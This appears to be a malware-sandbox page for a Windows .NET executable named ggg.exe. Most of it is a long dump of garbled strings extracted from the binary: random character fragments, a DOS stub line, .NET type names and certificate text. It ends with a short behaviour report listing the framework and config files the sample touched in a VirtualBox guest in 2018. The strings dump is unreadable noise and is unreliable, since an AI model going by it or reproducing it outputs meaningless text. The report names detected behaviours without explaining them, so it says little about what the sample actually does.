CU,FM
BU MT*2
O_ok
[JSG
'W3|
5xj.z
yL N`
\RaN
qs3$
[k9i
p~J=(
O8tmVySxFCwbj5M4JmnRlj
5}au
,d3Z
P VY
W3
x7 l
?g_X
i&! q
sfS}
#7MCb
-xYP
tXnZ.
ol2i7
L FC
"> A
` uT
j_ |iKb
4P<MA
]_
4ggqt4[X^
"uat
>0<0
RpU
im 0G
ai)6
z}54.
x7_\
R"w:
zfv.
cW;$
cK C4
mq L
Hh. |Jp
8I9e
I 1i
g[^*u
zt1L
r<>@vRe
.k D
A;TO
~c`y
Du B
`~H4A
E;KB
uB12
! n)
!This program cannot be run in DOS mode. $
|Ku6
%1 :
3G,
v>}\!
-?Pza
&Afd
fE},
: mW
0f"
$j`
klic
-qJ
`//x
Rs/
P}nh
ZQq8
?n{Oj
:M %
EG D
aUI8
cR2I
PE*0
"+{4^{
m3TSF(
T<W:D$
Zx?
$u{#
x< ^
ibLG<
/n[75U
wM\z
P dh
L~(=Qm
"%Pm1N>)
{kp.N
WRY8g
/`Q!
g+J+8
W^M+*
a;Z`
y/93<
`@'
&/e`
(aPaf
b S7
$u{*
S!g3
)9*/
[L!Xj
4 I'Jhe
1Iu:
kSCY
v}]W
OqA
djmn
(O:OBB
Ek-<CI
'dbyLgfVNYkiKtYWBcb2NdWOQ7pPS50AfvOE9h9q
cL E
] 5
ZL32
[.qa
O?Sf!
P}90
w bWd
LQ#B
buAZ
hxl9
3etOS
U[<:'
ynmV
a<@ t
0YE^
3P~o
3uf^[
O.}bAS
vkSPL
?, n`]
mQXr>
>Rv?
>wCK
*,K&
.<Z;
C)O5Ok
1%O$
](w
HIAl5
x!-E
YBzB
fCOv
ad C
~)4DA
D;GL
08+BD
~Iuq
AQ=(*
TLQ|
grx<
?$Aq
6:zFq
51=$
1Il =
w,u
sz!tok
g:]X
~)'mn
;.^]
0KIF =
`#CR"
fZu7
^8aI
}voo
Q.d{wG@
L*I1
Kn@eN#
$71:
?OsK
4|Tz
=t9w
1QXNP
+Mm4
BrjeW48nSylvRjv2N6ReW6C86ys0w
/"?9g
rN$q
V1pL
"]O
`}$C=
c!%G
$KQ*-
,eAT'k
+/Ck
|VoP!w"
k_y/
R_yt$T
4Ng>
`v7vp
zvX ;
*4^T
g2+ 3
,9S@T
5RN!
DR'k
[*kV
~w8{)
.^5@
J|'g
=H0x
3>YQY
&t%qbx
YE_|
I X,
C\b&D
{ u]
$ql:
dANg
(_.=x
]d CW@
=k8@
itNW f
vM`E
Qc>i
1 0
}pUg%
9Fb=
mH*X{
57C/
e:Vwxnr
[<&:
Hw5i
]>kf%
e2&7J
ow J
wRq^
ILy;B
!:S
$k/F
#5pzi
/n `
@Lze
'j)k
'0XUi9DLA4AINBL8twspoHf8uAGvoje0A74H9JXz
JJad
:5|MT
55,
6uC'P
e2NN
PSXS
f\~y
'WLM`p4
YDWe
|X4D
OQ d
.Z ^+
.i)I#v
Y[K%
LcwCH
VR-Lu
ImNg
/cPf
yGya
`Zs}
K-}
3>$E
]ib^r
`vR
U&9n
Orr$Y
;C13
N~_i
a@ Y![<
Sou(
:z5ki
[Vq1B
E[MF
C78q2
_B `
F:gp
NU'e
tMjnh~
% 'C
F7(1
ojcg
db6fp
7XxM
@XE
DM`\
?S ,
}fI@
@agRgZ
Wi-%-
/CTz+
jf&!
[=g"_E
D-ALH
~Kq
,\?4 A
j~
S+W&
y|2Y3
$A}EG
j"TB
^ S8]
*X,Z
Y(T"
488A!
l6)o
s+-,
[]p"
[y68aw
k*M}
A<Ft
S<jt
YI{S
:BzXB
P\L>
sNhx^
Ps??4
.gy+A7
70y<
jJIL}M
,:,c&$
mS FmW'
@YaU
f bh
bow3
5K.F-
OY|Zy:
08LW_
f}C1
nt\7
zq~i
L^m
SU$-
C#uGp
5bJ_
lyK%
;f?q
5e 6
W2DD
-q~:
h14%
7\#"E
6ZI:gm
`3-K
0Ul
0PW6
NGM{R
/t+P
w)_@
>acj/j
>><K
\'-S
a )G
Ur1xvF
Xc6m
IXDr
@Cw2H
ad\
1<%$
<S4^
NZ H
S54k
^tK8>nga
Q"=!@
qz~#
Xi>$u
Y6WN
-(zM
.b7)$
_ b.
'qj
hr~sc;
|5}2.4!{
8Mp>*
/_^K
J]/J
JN8v
Xjj`
z]9%
\T7E
8kWkp
qo)\Fq
[e|0X1R
AbLF
=x 3
U>[]
ausD
vE8u
2"[8U
yP>+O
Q`\fyy
,zdE
kT#L
yNVr
">7oM{&@i
h2 <
M0qz
t)V;
H >
rr%9
}BA7n
$ n>x
=aj2^ n
O?N_
xB0Z
Myu97p
^s+W
&.\s
z 0zFr
5&1it
+&m6;
#RtM
|j$\
iYUjpnv
",pX
kuHo
lV&{
BF90
@)H>
c?Bb
CyTkdqs~
9yp-(
-=~_
.z;b>
V? X
t'rr`E
E^%n
bw/#
zL:n
ULc<2@U
tkN~Q
!Yum
k"NK
M-&Q
^\Ij
_n/SV
SML0
,m4/
\iRBw
LL]!
OE;cH)
~ w1
1`h{Ec*
F8]z
&7PC
%ZS|
wpZRo
?v9m{%
d)~cHiD
H$V@
p/ I!{
" Lv
oyZzTlV
j$di?hR
htB[
I`l7MA`
_./*
b\-ke4%
}xZ,:
xk'
%h4`_A
.Z&@
8h8$
$L^w
IXs%{
"7*D
NCty
ppVw
K'h8
^.YNR
}H05
XOCQ
/%:Z
C6Zh
ToString
3 $kt!#
cy?y
kz_xw
/Cre
7=)K
7mObBN
Ofr S
T/c+
s=dij
rMf
]w|R
dyse
Orx K&
z]q{
z"S
>8`,
E.#Tu
RQq<X
t|#-g
ro^K
R]U^+u
CaJK
i>L_~
ut ;
&/H"f
, y"
A^#x
V#Nq
6W4i
eLZ0
}eqa
y{^}
YFTk
eX~"
jM*g
o?M7
e7\9Y:
/-
;E,W
1E 39
^g%t
_2 p
5LOn
0-z
yJJs
t?B
08*"
?O\
;$+k
uxZ1(
8]TNR
Gh{B
0XCiGXX+.y
y n}
7?lB
'%1}
y]/E
@5m8
)j5z
tz#J
AddRange
0G-
j+YD}(
@:)e
2u6NCPZFYcjafR3Of4Xd7b8MCSTSXI
gzDPP
''Sm
"t4|
sDGK
f8fl
uQ #Af
J,B2)
57X.
F`b<,)
<xZ2
(hDW
Oulp
5B#
*Eqhjn,6R
}Lcd
Z /3
=\ro=
_ED|
xEn"
7LD
|NF`
`:S\
5@=@
g!_?`
Pv\Q\
aP9Y7KF
K=s6
SIP)
\TyA
?400&
uO\4
nX%L+m
CU? |&N@?
A0u@
_> ,
6j|Pt
d{}j
ne*-`\l
na&2)~
B44l
R)s
M(Fi.
!U45it
K#lb
'!sM
C-0J
'n 16K
4^DG[
w7q`E
=P4
&M@
"j"q
R!d
@}k;
J79/
X}sG<
v6BV\?
MtG\d
uMn;
F \z
Y s8
aBj`
=d^-I
Jl+z
]_|"
Yh)F
<l r
Xt w
=F5x k
!\)gB
ZW,h
4M}w
TN9R
}4ix
<_a9
_iZI
Vv5_
%Tsr'*D7p
X<'W
~T{
w]`k2`
L>I8
/v ^
o$0T
Y`o<
j |C
OTP
Y1ua
;z6{
2imhv
>_RN
rV5\r
>'*p*
{whvL
+M-OWE
P#SXX)C9K
5]g 5%
xCJhi
l C
jL >
0@Qk
Ieu$
xFI@
wR#n
Gbns
WK5@
P&@8
s3Jl
SF~):
[R{b9
>G({
kA*_
(R >V
{oYd
J%L]
^"|
S2O8e
q>4a
Append
$qeP
dttt
6A %
2F '
I0~nPIX
oQ]89"+b83
A\uo
PSS#6
9dZ !&
."cd
6A 8
fZw4
cADFL
d>LK
z6 >Uu
: XW/E+
t*/$
8lsZ
k"w.
IV!$
iVP
>aV7[
,WO8
r$Nz
|/s:&
KNNBc
ZJ |{E_D
x:;
Z+D;
,S=n+3:
9CP=
3,~%
C=!x4N
`ysQk
D"JB
bGUNab
]&%j
8o>
#a8u
W]`E
[??@
d$?ZT
v,JL;
;{6V
OWx-i
EV<}k
X2A3+#j
&QX}
{S>+
Y{]S4
=U T
8psFC
d_lf
<CPl
I!8A
2N Y
ILnz
F| UD
XM@)
,>zJg
q`ar}\
?Z37<>
x[Ti3p 4O
?I(}q
o},b
/x-G
bt 4H
Q#D@
GiIi
,l}d
~*0^
T? y;
ba8`
8 Z?
sFD*
Fuv
3MYudU
Il3r
MjFS
rOu?=
HqLX
bATW8WsUdIOuOvtN9U2dSt5H2swA
I>8K
~K> ]
k&}?8d
J ~
6RY"g
D8$,A!+o
\I5l
lH!V`H
_N,j
!-oX
3qzCXD
&uWwb@
F
77N
Rm@g
*S F
OM4 >
blZDy;(
E :H
(_XB`
get_Message
An5@
!16UU
dSJbFlgFt0sxBP1tZg5iH6EH
,"6]d +e
(P6>
D<Mu
WLf
2#[q
cv`I
l s:
7hb7
jU4j$
$#G;
PqX-4
jlTP
TgV1a
r~#\
ZcRl
kwX%
5io0
\f-S
W8=
hpX"Q40
p6@I
wB)
{C M
#%rH^
yW`w
\o9?
)8Yn;
e1K1
qm`
Ji"9k!
8}cV5dJ
Hw910
a3)|S
TpjykrYKSHmruQNH8dRDwqm5Uo7
*<F1c
5q02g
8LxA
W0=X
:cxVX
k`x
t[pm
n4@'?
OT(]:#
J|m0
xJ-}
g'Ut
dSV
: Qw
R1xb
p363
q| dLp
y Y,id
(|r-
1V{{
x>dY;Y
5wG
@O <`
5 z~
z9xvjJ
!An$
-8j'X
u yv
k9gi
RK@c
^|)~
E>JplU
bB-A
\ol~.
'kc=
g5P&({
o%M5
^N
A|Y0
]3@Y
}vA P)F
cUe*
SrD+
f=%I
#E0y
C'qo&BF
RQOf:
FK+N
h<K=
WZMD
PPHM
{]%R
x^?%
kqn
%CfZ
ll.'
#Og<q
f@H5
m]VL
-Pct
MS#r
cw7>(
K )`
F6Qal
wF%-
{A+c=
JM6f? i
)[3(
]&5Q&*m
N6G`
v~yv7
2 17`
nJ#I
S|"&
*r /
wiT.U
[a]H
bSi(7
$uK^1
{dnG
q5 &TakZ
3<;;b
E?v@
i:IV
3YGF@
&<,+
b|%SL
vH3!
6wyQ
S7I$+
xW R
RY
&jLH@3
4*V0@Ouo
yV"iS
[Q(Xs
/ 5s
f.M#f
q,i$
^T}<O
Q<xY
>%F!wh
he#|
SBt
6nB
150817153231Z
l4 }
y}?A
-C";
JHQK
%0?k
7_S
/,hQ
'LJ\
' !`
^K^B
f=_P
PrQ]>'
TmK-
/T B
iDH&
;ewm
v] \
c(2U[
%y5}}
0\J_
/gN:)
&6B
j-",
gBWSV
fGV1
eT\#
*%b<
uGp
qDj+#
=,da 5
A0?[
]bb`
:pA"
W)y ro
$x/?R
3[M"
u?Bj
}kT[x
nVc'O;+
[xD6
o9\P
ek$i
g|XY"
]8 \gJg
A{ #\3@
KLM5
+nAGhN3!B
lSMF
XcN7
JkFJ
j0)z}
Y$ObK
r` Lbj
D J
4s|f
5~e~
9([n
V.1q
{\
Bg<4
Q]YM
R5JS:
- ~lP
Y|MK
o>\O=
IZ(x
aSF9
.S$io
s,?~Z
XL C
x\R'
naP "Q
W\w@M
M<_?
*-[+5
V]@K
@7)j6
Kp`g
.c/#
pk"s:I4
#I\-
GO*7
G"j^>
0!0
9iUG
MK4
vN F
cR ,3
k|)hN
mm{e
xBE(!
kC4ks
jKU
"t[id& c
_4 8g
dV,4
XdQ
EBISt
=H3|<
JEv
8Qk:
k`P"
p 1+d
"D,Z
q((M
f'4
O ;iy"s
3%sX
p2bSO
)5i2v
UY_-u
HJc*
GlobalSign nv-sa100.
6/Gw
}WLT
DNy!
-SO#1
T71/
a. f
5#5N
sX{;#
LK*P
lB0X
YZWY
`4y#
p2 S
0uBuNa
.X7jR
QRO-
%%2)f
|H] ]\
"v]2
rWvo&
bDbCR%
AugB
@y-n
3|_n
n{)^(
2]CPqx{
>l<BtQzs
5V?i
KVoz*
cp yDIg
SD-K
:8+8D
nq{)
[ ~N
,LM@
,6Z2
*Az
:WhY
`4WiXs
z.Pp~(
_9XW
m$o
:YM)(
g "|((or
rh?Q?
SkZ #(
MnM}
"]TB
{nH
bGh
Gnl>
rC/_
Gj Kg
,Fpb
<^Mh
A$[8
D`cwt
/3.DT
jF7#
^^TWd
j{eD
wWj2
GNo=
a,iPU
kPAdN
ER+w
+'oS
#H"
hRF|
=$k
ulZX
3ir`NF
<0+$
LdJE
<e [
RUrv
)<,w[
q0eG
</&M
Ux,A
U./!
o= &
F"Bw5
Xjx#'
K BaA3
n}8"
_6#X
Z6xO
4H3
evK4(e
8Wd
f[5;s
"d2^
usy:
kCCjE
n=R_HW
_"Jr
!C%>6
mR# *
QnK
WB5_mZ
q (s
.%qU
%wHoKeBDZ0XVyMoaLbbC6hICdNqhVrigsOsXyW
N h,X^
ld/@
(C #
_eU ,%
FAnl
s8S
WG R
+f-8
"1qo
6Ej`
+$gg
c*P2
UEmM
V*lQ
Xh`2Z
tRgDg
;rg/"e
N4J_E
DwI"
,?~W$
`? K}
V}g]I7j
l/C)G
LT7<E
As14\
iJ/m
m.
NvSW
<<LS
V$*'d
^6%$}
<<LH
?'~`
!fR
n{/n|{:
Gafk
iTiW
X:Gs
vp>Y
!cb%
StringBuilder
"r9R3!
PNn\
{roal
pl;:
UnQu
nN`<
5 a`
ym2F
RO}.TR
q]no
jBe`}
NyWAN
J[w9Z(
o)b^
Ztv4
F&u1j
d\fX
C+Ebb:0f
.Hz1
2P7Iu
CO.
C.1I
7Ha|
K;Sc?d
LiCe
JDF
VV'r>
Pc_e
D<4%H
:j_;%s
A 4g
q `q
>"hcS
[83|H
VpGa xj
.r\7g
<*gT
wV2o
l@):![
M*o2
V`|;
ToArray
X_HP
hJ~I
"W=y
(+,
AV>z
"as6
wiIWq
RWs<'
nd>0+Ys
`K F(
A3>L
dU&.
`7pJ
T{,
-"4JJF
^88n6wg2
Qo O
=9!r
B?/s
~O.I
ZZ=0
QP\3
Ggu
A^iN
6!
K~Lsq
FFg
Pnq8X
XEAQ
~ sU
A ]<w
SS*{E
wp:y)g
Oxqh
Jg-z
[bFN
x17}
c8ZW2CMHcKQ2TcMU4rnPDzuOZiur
Eb9/
_e]
g>.}
B5$
np~]K/}
ZYU)
R3i`tl ]
I8C%
}g"0
5N5m
Je0!
j#<b
D1W? +
QN%i e'
>Sl-
]Fw:
eo0
BAlY6Cpl
<~/&
XLfI
Gv*8
E=>H
H)ci
)52U,
_p=(
2my`
os)
'v7p
8 nc:
a[ x
Zg 0
m~P
P@AL`
+De#
X7B(5
l}q+
:>1%
3Ba9
pvki
vaZwG
o?
#XK`
J iKo
o8)1R
GI c
sbSx`PM
csz5]E
AC\!F
?g|g
Z=77
2<{fE
4-(lG
uU3MZ
5ch52rRMClLsJRguEjFxSEdOh6EWAqm
",.
bSP,
P i
+~OwCa
dh8Q
q"Fq
E\L 8
fO)[xlHD
^2:
;GLs{"
16k=@
v0w^
?@ [
yKX F
tK,Q!
}qG
String
wwL
A5=0g
{ ch
"w@
N&ET=
y`]A
\MQJ)Z
o'cV%k9
PH(q_
,H*%'NO
`}/*[
He=/
%kLD
fhcF
PCT%
YCCt
K56%<
H'eQg(J
9:FP
QDy\
w"6=
Si%i
P2X
j~$ p
8bm
oniz2
:?;dJ3
/wPG.
3 I3R
~5*0
UR>
x2Kd`
+umq
w*u>6
ElG >
r0,e
][x}`'P
N} \
u&XnQ
1<9*\
VD:@
1H8B
>3*h
<Q@j0
W256
ZE9H
2`Ds
GP;a;
Q8^r
[@qYU
)0!J
=4'+B]2
{rKW
S-N
b@j(}
HHa+DHE%JA
e0}jD'
__=LS
\C$O%
b+mA^
|$ny
rq>M
n%Eu
g<~
-#>5
zU=L
-:)1~
Pov~+u
}=
1VE=%
|APr
x#b6
B3O
;PwP`0l
5@x
>X1;
j 0w I6
TC|6
3 Zh]S
,aI<
}[U;
X J)_v
ay [
N h{e4
9;,n9
T{ LT@A
/0-0+
`p =t
t%AWG
wlOr
.]8o
9#>i
V`Q@
-l$
f9=t
=q]L
MUI~
}y3]
,+S7
qa;n
F$hu
8MT=
Bv8
6s(o
kU&`
vmDGp
Fe]G
K(<u
NgFlHjNqBmJVTnJRTQpHgaDBdfTkH
$G|y
rV+K
f7NKp
s*UiX#
Lak 7
*/?8
{QDZP
Llt^
#md7
\mNfx
u;X4
l*9-
290322235959Z0
}09u
|~*+)
2e$K
yF8
q@<
D;SRU
M3Y)
|) I
*0$+
y@b%
kt>8^
$SW
? is
w|y>2
z |%q
C7\e
]\S<.
nD .
u6@
!tmO>
cRT#
(cGg
5 B d
d{1=
3 S|
\m"iQ
6>y)
i:lZ
S^(x'
kY;.
> ,
A01K
,-
JtkQ
cia\
6WT+7=
SqmZ
H *
|90@
`NHga
(sx,8
I7h e
D*0'q
c!"I=
_d3o~
&!2\}
j_\
' u
vECr!
k#e?Z
i&nw
\9zd
+?F
wJp7
>GlN
,TCq3L_>3e
n^4b1
EfZ8
Nt^kP
0B'
24&g
_e ay
~6uR
r7#b
ar .a
%ZOX
q&.Nb
1+F:
zw`?
vROHi
PuE$
M`:
OzGG
IM)I[
fe2k
&2_x&
/.5^
o$iM%
bRY@;
K09IU
Jq\
W=Zatm
I=b
;*Eb
(Tng
v:L)
>/1
{$OpA
(_^m
!t5Rd
Q,{G
;rH2
c; d
Z@d:
BMOMWn79RTuV2yErf1YIlE6j
#3iM
S#`j9p
|5J
-iBp
j {x% L
jb7asP
r&81
Xqyc
0U8w
caLa
%t2!G
CO>x/
Z~y|
yaC3
B]EjZk{,%
lRjX
xZXg+G
SOb#
N L2:<
wV|F
X@,j
fh+i`
`D1)
Q7Jj
!hE
z(LI<
ZkAO
6$Bk'EbK
Zio
&K`)
zn@oJ
Xv]}
!+9=
1O_*
aEP2
>iQm
en#G6
G T`M
Ftkx
:I#v
_ogP4(
V,r6
U3v*Yn
L]~Nh'
jdHtn0
Q JA
~xLkU
]@vz
@qX
I2pN
ynG3
"[d
D*f
mWT-e)N/
n=hX
z~>
\C="
YE]4w
R\`Z
Q$kb
=Y1~
-4iY
yb;j
$fhi
43cG({
b{=3+<W
*(|?TA
;od%
= XLA
g^mZ
BZk]
O@|
b<5SjS
U[:N
LBwd
}`O+
U-.{n
a+aAH
ebK4
):g\
xBdv
CS37
;lu0
;QJ=
k\rb
[6L%
82Bk
lc4N/
-'H`^
- M4
R6 .
L~ Zk
L;}<
V>)>g
pn(=
d@YG(
Q#6s
TMy9}
6K`\S
7?#T
OaKZNjOyf3DtR0ckJNArZ
EEWz[
mWU*5
ita'L
N#j7Y0ss
3`'v
#%%V|
%\)vd`]O{
#K8M
UDTd
wonC(
>}eM
qx=-
(/zg
n14oz
h?9`
J/K.
q<C
L=o@
Wo#x
R%WYP
~9%-
j*=i
8PVK@6!Y
X' r
z0U:8
r@sn
jJ
,<OM
u<:R
-,jP
Flf!5
S2Jbl
l37v
nAQQ
]KD|
yL&
|(n$
}xZw
"-+#
8?&w
TAg{
XFRr
t'.$^9j
VgRuc
t? ^=r
)Myw
o]4-
k%JgJb-
44+Dt]
=WM-
?O^6:
iCpX
2bGrh?
4.jkc
^4"V
6 pAL
#PiB
8&>9
q+C.
)jj<
^iFQ
S1;|3
" 8Q
:dvg}*
.2B7
+%N-
Gj6v\r4
E%Y#
}a`6
zJM2
aRi3
L" oDk
C@]J
wPaB3
eb#%a
ry`c
3'w{
Jz_y
'~ Y
L]n{
GU5/
N(Q4
+{4r
pN"TfI
kpBmZ
cD /
Na\2
r;
&)E|
U!W%
r<:;E!
0Z1 0
]|_R
m, i
Eigp
llB*D
zSWWm
t]7
>lA_
/)9
nJ C
ZFg#
J!jLrf
1 Pz
>n)\
X$S#
\gEt
) 'S@{
b9w_w
ABX=
x7xA
R #H
!EyM
@gP1g5s
yq:k
`Pvod
J,Kd
+97
nUJ;
T+\P/
gW93
R#jD
r/"lbS
((lS
sa%?X?
4I@3
SF^_,
ck&k
>L5Y
R8U2:
XwbAB
Vx_A
l Sv
(D:A
> /^0
~ hgr V
s}0q
t#fw
4'-3
MV
1 r3b
pAOJfN
n&+"
+_/S
-FA0
3g q +
;e*}ms4
!\>v
bg fyPj~
ap~l
x&ki}o
g'7dIs#n
Western Cape1
DY$R9$TW
X{n}x[/
0uHuK-
:E(t
}V38
R9)F
C87y
?RMl>K
e "@9N(C
e=R2
M0:l9
"dUa
5-Vd
(P5$
5moL
a[ N
nb|o
# oDW
;COW:
T& n
oJJ4
6;?e
b+i3i
~gqL
+U`N
7E!z
ZPHv
4z ;
+D@Di;X4
C ?T
/q8/
*6oq
^R#
yS"4RKs
{rL4[
P\!^
Q_'M
POR5NW
pm>xH
>N`6
gpA+Z*
?qt]
!pQ;
CPxp
S[( J
*MJM
'_
>kRR
8h!Q
3(F
7Qc$}^
ed:Kp
# s-
--@A
C42y&
xHI
5YAP;
[ PK
/X(
I%n1
o;11
Dok
?wzx
zu-e
G#FDj
U){9FN
fClb
65:C
]yI=3
k5lGb
7(0JM
OJ(T*
-%xiu
u}!b3gz
*;35(
}<HO
JYs[`%
H-U/
GetTypeFromHandle
"sgX
1.%H
NL^.WF
UikN*G
FJ1:
L?|B
@ 2~
.N{
|3)q
vN=x
!i47
\nT9
^ied
" {D
@<2J $
xdLy
Nh^,
k |>;[yT
<#Ct
qZ#4t
S hF
z'G<
-%g2
\]yc=
oGN
g,,J
-:9d
{ CR
tOG|
/>!gG/
A7 w
)]Zu
Mr*1
QR w
g02{m
-GZ[
+Td9/
^' ?,S>
AJ{r
Vc>w
r0Ks
766KRL\
(XM!
2/qSt
r7UsQ
49pnqIyRFQ6ZmEgvUcm6
qLj
`3|&
g?n i
4A eg
tff*
Sq7~
dpl'R
_" I5
%2?y;
ELbP
$Eh<
n1n[
aa<)
:1_S~
Q:dBic_
*Ha9
Gj!Y
k=O?
)^.
3gi0
XlD3
tO%v1
\]\
kOn|>[
,WU[
+hz]
5`[AVu
'lS|
U)x,
ipJc
FYo)
K6r
zd[%
>! Q}K
Sg7s
Wp<%Qo
IK\:LYA
=?6w
,Ii1n
p[u!7X
y*T>
i{nE
nrp'
&M=%
U3=F
0|>&qw
5.c!
System.Runtime.CompilerServices
{|JM
d%l3
xFNq
4Ft
#B',
s*FK58
]}PS
~# _trL
srPXkZ
h {zV
fq.T
R@oB
}> 0*
# q
Y9=s
#cIoL
{LK|pE
W9||~mk
yi)v
K{(Wj
A)%S
(NRGo?
c+(G
Vj L
aV^jZ@=
jKSn#Sp
LEVW
yn,/7
-JS:
nWGW
X(+'
]Ps\
uUG$
HM=n
RVtJ
!Vn1L
lVdD
` pE
FS,Rb
#{D$
XFwS
~(_
_c9
g' PK
AU "
:91@]
CK_t
]5c Z
p#c;
: b9t
#"7U
c ;%
j4)G;
Gy;
c ;)
*b#
q`GA
Mq
D!~L
`(,|
> b<
S33*d
9{ Z
}Q^/
FW|FNn
?' p
:[1
hYMmF)
!)KV
Bnk
O@+0e
j@%'
m{ P
/Z0Z
iCfl
/Yo(]
JdR@O
)eRT
8-2H2
wN+k
VlK_
qp)wz
^:;I
l-B
JW0 *
nc Q:
![:U
y+o!
:}peV^
=1&" "
> r
}:U<
h--]
=WT%\
<]+@
A#Awp
CbKn
dtkYq%
yiq%
iLg4
TzUs+S=nc]
^]p!
TimeStamp-2048-30
;'CW
3H#c/P
K"$T
mBLi
aw/!
!ZRr
&0$0"
X>G
$-7vg.
5I N
`'7J
wY0t
o-:DJ-@;
eHtC)
6?Tk
@Ut,#d
h/*+e3
g:+b
Q^ `NMm
Y| `
& 2s
7t G
3!/Q
YdTvjS
![TL
XO1c
z+fk
B#LeK^
Nn]Z
X 9A
~7"1t
VEcE
XHfye{
pDx`
IJ/{
v03w
23F4LNq
(Dm{
U1F7JK
{g5
Qba1EaxCu5662dceFCJqt80AXbO.resources
q]+@y
W}0
{$*j S
84
ijfn<
i?/&
I"~6
w.p\
Qs1h{
O #e
}{u#
=%O!
~S0=
t6"
TkHx
$~5=;/
+6tM
Ngip
A;)aF
F)i\
jAs
@U8Vi
aqu4/
0hFb
K"\dy
wxK!
s*Ko
*uHF
;V. r!B
tP]4e
,| *a
Ulkr
Uoc@&#
j_qc0
YAVy__M
-r`:y!e
<<8I
z}F
SlCqR
kw}b#
fP%[.
789Q
oskW
(Eiz
017>
P Vn2
nG >-
0sSv
|uBl
]>QV
E}xC0
):R9"C
}j q1$
[Zp$
E._G
mALtP1
TF\h
'-".O" z
;[+x
mFFO
OS,C
b}9{
,&c3
Z'I
G~ms\ +
_[>Q
1-M"B
tCX]
[*|| 7<
xlG*E
Plm1
[fU/
q`bP
/l)&
JZ/F
m3Bn
UrJT`
+6C
UT5n
tV?P
1sZS
{w]gMVwdi
Lz.'
IEnumerable`1
yqaJd1f5KSfc0udvKmJ9
g2.r
TXYFXBH(
A2]
q3I0
dFw<!
D6nn[
0G_'b
}+v}
h5xK&
Fm;
9D+O
1^=1]
t@9~\>r
5Si?
*<fN
!Bi5
-Mv
\. f*
w qZ
5Vk'
FKJ
#l\
=P/p
xC]v
i@9l
>hU4.X#&
E`.A|
OouS\
#Rm60H
g2 T
fLe fk8
^3rEeo
`*\\
T/ X
ZEu
V9Ac1lR3We8CJK2XkAOV
n=+T
q~xf
Hl0`
rakU
+MuQ
h2aVc
=kd]J
zw(
},:9u_m8
?'J3Nm
w]Bdy0
=fWj
_ c|
'frs
{mnl
AIk<;
\D\
:h_s
C%1$*]gR
|nPJ
<`5
gQeH
OLmm
KJsX6
][T} KX
eS>
zwYm
^qfn4
P^RW
T~@r
sAV9
GidQN
gX**
6=aZ
xBGC
(IR1TY
c"C
i4OS}R[n
O'8B
K7wn
H`,>
Xp"m
V"T!
"iza20w43pi9YLkbK1Xwxi3MII0WWH5x2ki
891S
tW[_#
<T0SW|
\F%rTvCd
Vqd@+jQ"
S`#u
S&Z<t
F\$b
<xRkS
MN7/
$~Kc
%e%
T|)t
|5_E
, =q
+_=#Z
5O0
~WTm
s5l ~F
\-K t C
a>j[}H
UG;I*(": D
Fpm
wW^p
3}49Wg
_<,z
@2&[f<
HS cK
w9YR(
8#9x
_N"-
k%<&%
*f0E>
#chL
Tbq:
UR:q
%FGgyC
?$^|
L -y
!3c)<
LT2o
(@9f
>C =2(
1^nbw
eFTT
rhH6
o"S:_ ?
Fc`x
eR f
|Hy{c
Oh"l
yK.`ZL
$\h^
q;Aq
U{ '
k8y7/u
M#pH
ybb(>
?jH`
n_\k
4r7t
!WV5
*;\*6
}Lr| r!
FH6
c rN
;T7Kb?
7q5|
o/%Z
>>G|
o6N#
QE{s89
8YGu
"7j*
%kHo
q!V,
"=|*
l6d~
y>
%]o$F
zmN#
^>7&s
B}.dLm.
*y& Z[
T&/D&
ox3z
N=UKI
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-04-30 20:44:05 2018-04-30 20:46:58 173

18 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-04-30 20:44:05 2018-04-30 20:46:58 173

10 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\ggg.exe.config
C:\Users\Seven01\AppData\Local\Temp\ggg.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\ggg.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
